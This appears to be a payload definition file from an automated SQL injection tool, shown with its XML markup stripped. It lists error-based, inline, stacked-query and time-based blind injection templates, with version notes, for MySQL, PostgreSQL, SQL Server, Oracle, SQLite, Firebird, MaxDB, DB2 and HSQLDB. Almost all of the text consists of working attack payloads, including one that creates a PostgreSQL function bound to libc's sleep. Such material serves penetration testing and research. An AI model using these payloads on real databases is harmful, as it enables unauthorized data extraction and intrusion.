- - - Oracle error-based - GROUP BY and ORDER BY clauses - 2 - 3 - 0 - 2,3 - 1 - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - - - - MySQL inline queries - 6 - 1 - 1 - 1,2,3,8 - 3 - (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL -
-
- - - PostgreSQL inline queries - 6 - 1 - 1 - 1,2,3,8 - 3 - (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') - - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase inline queries - 6 - 1 - 1 - 1,2,3,8 - 3 - (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle inline queries - 6 - 1 - 1 - 1,2,3,8 - 3 - (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Oracle -
-
- - - SQLite inline queries - 6 - 1 - 1 - 1,2,3,8 - 3 - SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- SQLite -
-
- - Firebird inline queries - 6 - 2 - 1 - 1,2,3,8 - 3 - SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE - - SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- Firebird -
-
- - - - - MySQL > 5.0.11 stacked queries - 4 - 1 - 0 - 0 - 1 - ; SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - - ; SELECT SLEEP([SLEEPTIME]) - -- - - - - -
- MySQL - > 5.0.11 -
-
- - - MySQL < 5.0.12 stacked queries (heavy query) - 4 - 2 - 2 - 0 - 1 - ; SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) - - ; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) - -- - - - - -
- MySQL -
-
- - - PostgreSQL > 8.1 stacked queries - 4 - 1 - 0 - 0 - 1 - ; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - ; SELECT PG_SLEEP([SLEEPTIME]) - -- - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL stacked queries (heavy query) - 4 - 2 - 2 - 0 - 1 - ; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) - - ; SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) - -- - - - - -
- PostgreSQL -
-
- - - PostgreSQL < 8.2 stacked queries (Glibc) - 4 - 4 - 0 - 0 - 1 - ; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - ; CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) - -- - - - - -
- PostgreSQL - < 8.2 - Linux -
-
- - - Microsoft SQL Server/Sybase stacked queries - 4 - 1 - 0 - 0 - 1 - ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' - - ; WAITFOR DELAY '0:0:[SLEEPTIME]' - -- - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) - 4 - 5 - 0 - 0 - 1 - ; SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL - - ; SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL - -- - - - - -
- Oracle -
-
- - - Oracle stacked queries (heavy query) - 4 - 5 - 2 - 0 - 1 - ; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL - - ; SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 - -- - - - - -
- Oracle -
-
- - - Oracle stacked queries (DBMS_LOCK.SLEEP) - 4 - 5 - 0 - 0 - 1 - ; BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END - - ; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END - -- - - - - -
- Oracle -
-
- - - Oracle stacked queries (USER_LOCK.SLEEP) - 4 - 5 - 0 - 0 - 1 - ; BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END - - ; BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END - -- - - - - -
- Oracle -
-
- - - SQLite > 2.0 stacked queries (heavy query) - 4 - 3 - 2 - 0 - 1 - ; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - - ; SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) - -- - - - - -
- SQLite - > 2.0 -
-
- - - Firebird stacked queries (heavy query) - 4 - 3 - 2 - 0 - 1 - ; SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE - - ; SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 - -- - - - - -
- Firebird - >= 2.0 -
-
- - - HSQLDB >= 1.7.2 Server stacked queries - 4 - 1 - 0 - 0 - 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) END - - ;CALL REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) - -- - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB >= 2.0 Server stacked queries - 4 - 1 - 0 - 0 - 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) END - - ;CALL REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) - -- - - - - -
- HSQLDB - >= 2.0 -
-
- - - - - - - MySQL > 5.0.11 AND time-based blind - 5 - 1 - 1 - 1,2,3 - 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - - AND SLEEP([SLEEPTIME]) - - - - -
- MySQL - > 5.0.11 -
-
- - - MySQL > 5.0.11 AND time-based blind (comment) - 5 - 4 - 1 - 1,2,3 - 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - - AND SLEEP([SLEEPTIME]) - # - - - - -
- MySQL - > 5.0.11 -
-
- - - MySQL < 5.0.12 AND time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) - - AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) - - - - -
- MySQL -
-
- - - MySQL < 5.0.12 AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) - - AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) - # - - - - -
- MySQL -
-
- - - PostgreSQL > 8.1 AND time-based blind - 5 - 1 - 1 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL > 8.1 AND time-based blind (comment) - 5 - 5 - 1 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) - -- - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL AND time-based blind (heavy query) - 5 - 3 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) - - - - -
- PostgreSQL -
-
- - - PostgreSQL AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) - -- - - - - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase time-based blind - 5 - 1 - 0 - 0 - 1 - IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' - - WAITFOR DELAY '0:0:[SLEEPTIME]' - -- - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase AND time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) - -- - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle AND time-based blind - 5 - 1 - 1 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) - - AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) - - - - -
- Oracle -
-
- - - Oracle AND time-based blind (comment) - 5 - 5 - 1 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) - - AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) - -- - - - - -
- Oracle -
-
- - - Oracle AND time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) - - - - -
- Oracle -
-
- - - Oracle AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) - - AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) - -- - - - - -
- Oracle -
-
- - - SQLite > 2.0 AND time-based blind (heavy query) - 5 - 3 - 2 - 1 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - - AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) - - - - -
- SQLite - > 2.0 -
-
- - - SQLite > 2.0 AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1 - 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - - AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) - -- - - - - -
- SQLite - > 2.0 -
-
- - - Firebird AND time-based blind (heavy query) - 5 - 4 - 2 - 1 - 1 - AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) - - AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) - - - - -
- Firebird - >= 2.0 -
-
- - - Firebird AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1 - 1 - AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) - - AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) - -- - - - - -
- Firebird - >= 2.0 -
-
- - - SAP MaxDB AND time-based blind (heavy query) - 5 - 3 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) - - AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) - - - - -
- SAP MaxDB -
-
- - - SAP MaxDB AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) - - AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) - -- - - - - -
- SAP MaxDB -
-
- - - IBM DB2 AND time-based blind (heavy query) - 5 - 3 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) - - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) - - - - -
- IBM DB2 -
-
- - - IBM DB2 AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) - - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) - -- - - - - -
- IBM DB2 -
-
- - - HSQLDB >= 1.7.2 AND time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END - - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END - - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) - -- - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB > 2.0 AND time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) - - - - -
- HSQLDB - > 2.0 -
-
- - - HSQLDB > 2.0 AND time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) - -- - - - - -
- HSQLDB - > 2.0 -
-
- - - - - - - MySQL > 5.0.11 OR time-based blind - 5 - 2 - 3 - 1,2,3 - 2 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - - OR [RANDNUM]=SLEEP([SLEEPTIME]) - - - - -
- MySQL - > 5.0.11 -
-
- - - MySQL < 5.0.12 OR time-based blind (heavy query) - 5 - 4 - 3 - 1,2,3 - 2 - OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) - - OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) - - - - -
- MySQL -
-
- - - PostgreSQL > 8.1 OR time-based blind - 5 - 3 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL OR time-based blind (heavy query) - 5 - 4 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) - - OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) - - - - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase OR time-based blind (heavy query) - 5 - 3 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) - - OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle OR time-based blind - 5 - 3 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) - - OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) - - - - -
- Oracle -
-
- - - Oracle OR time-based blind (heavy query) - 5 - 4 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) - - OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) - - - - -
- Oracle -
-
- - - SQLite > 2.0 OR time-based blind (heavy query) - 5 - 4 - 3 - 1 - 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - - OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) - - - - -
- SQLite - > 2.0 -
-
- - - Firebird OR time-based blind (heavy query) - 5 - 5 - 3 - 1 - 2 - OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) - - OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) - - - - -
- Firebird - >= 2.0 -
-
- - - SAP MaxDB OR time-based blind (heavy query - comment) - 5 - 4 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) - - OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) - - - - -
- SAP MaxDB -
-
- - - IBM DB2 OR time-based blind (heavy query) - 5 - 4 - 3 - 1,2,3 - 2 - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) - - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) - - - - -
- IBM DB2 -
-
- - - HSQLDB >= 1.7.2 OR time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END - - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END - - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) - -- - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB > 2.0 OR time-based blind (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) - - - - -
- HSQLDB - > 2.0 -
-
- - - HSQLDB > 2.0 OR time-based blind (heavy query - comment) - 5 - 5 - 2 - 1,2,3 - 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) - -- - - - - -
- HSQLDB - > 2.0 -
-
- - - - - - - MySQL >= 5.0 time-based blind - Parameter replace - 5 - 3 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - - - -
- MySQL - >= 5.0 -
-
- - - MySQL < 5.0 time-based blind - Parameter replace (heavy queries) - 5 - 4 - 2 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - - - -
- MySQL -
-
- - - MySQL time-based blind - Parameter replace (bool*int) - 5 - 4 - 1 - 1,2,3 - 3 - ([INFERENCE])*SLEEP([SLEEPTIME]) - - ([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME]) - - - - -
- MySQL -
-
- - - MySQL time-based blind - Parameter replace (MAKE_SET) - 5 - 5 - 1 - 1,2,3 - 3 - MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) - - MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) - - - - -
- MySQL -
-
